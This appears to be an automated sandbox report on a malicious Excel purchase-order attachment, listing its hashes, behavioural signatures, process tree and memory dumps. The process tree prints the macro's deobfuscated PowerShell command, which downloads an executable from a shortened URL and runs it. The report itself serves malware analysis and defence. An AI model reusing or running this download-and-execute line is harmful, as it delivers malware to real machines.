Overview

overview

10

Static

static

8

PO_371_50_37.xls

windows7_x64

10

PO_371_50_37.xls

windows10_x64

10

Analysis

  • max time kernel
    135s
  • max time network
    140s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    13-03-2021 03:33

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    PO_371_50_37.xls

  • Size

    396KB

  • MD5

    dd94071fbb3459fb33069767de531441

  • SHA1

    5203fa48ba79e3626bcec7ecf3c1838c484760ef

  • SHA256

    d7a4a7c4bced1b93c3bf1252ef98ccfd1129452a675633349f5f98d3c968df37

  • SHA512

    d96e8fb052ffadee0961ff6fca2649066a81a02a3a4dee763e89d98b77cbd11faf15fa8a83b3c72e68d02284ee7dcd4a93f675a3f1da87a89d4c5f6a89fd64d8

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://bit.ly/2OQ9elm

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\PO_371_50_37.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4760
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe cmd /c powershell (NEw-objEct system.net.wEBclIenT).DownLoAdfIlE( ”https://bit.ly/2OQ9elm” , ”$ENv:TEMP\test1.exe” ) ; stARt-PRoCESs ”$ENv:TEMP\test1.exe”
      2⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2232
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c powershell
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2296
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2528

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2232-9-0x0000018133740000-0x0000018133741000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2232-13-0x0000018133706000-0x0000018133708000-memory.dmp
    Filesize

    8KB

    Download
  • memory/2232-12-0x00000181338F0000-0x00000181338F1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/2232-11-0x0000018133703000-0x0000018133705000-memory.dmp
    Filesize

    8KB

    Download
  • memory/2232-10-0x0000018133700000-0x0000018133702000-memory.dmp
    Filesize

    8KB

    Download
  • memory/2232-7-0x0000000000000000-mapping.dmp
    Download
  • memory/2232-8-0x00007FFAE6720000-0x00007FFAE710C000-memory.dmp
    Filesize

    9.9MB

    Download
  • memory/2296-14-0x0000000000000000-mapping.dmp
    Download
  • memory/2528-15-0x0000000000000000-mapping.dmp
    Download
  • memory/2528-16-0x00007FFAE6720000-0x00007FFAE710C000-memory.dmp
    Filesize

    9.9MB

    Download
  • memory/2528-18-0x000001DAD9E90000-0x000001DAD9E92000-memory.dmp
    Filesize

    8KB

    Download
  • memory/2528-19-0x000001DAD9E93000-0x000001DAD9E95000-memory.dmp
    Filesize

    8KB

    Download
  • memory/2528-20-0x000001DAF2880000-0x000001DAF2881000-memory.dmp
    Filesize

    4KB

    Download
  • memory/4760-6-0x00007FFACA170000-0x00007FFACA180000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4760-5-0x00007FFAEE4B0000-0x00007FFAEEAE7000-memory.dmp
    Filesize

    6.2MB

    Download
  • memory/4760-4-0x00007FFACA170000-0x00007FFACA180000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4760-3-0x00007FFACA170000-0x00007FFACA180000-memory.dmp
    Filesize

    64KB

    Download
  • memory/4760-2-0x00007FFACA170000-0x00007FFACA180000-memory.dmp
    Filesize

    64KB

    Download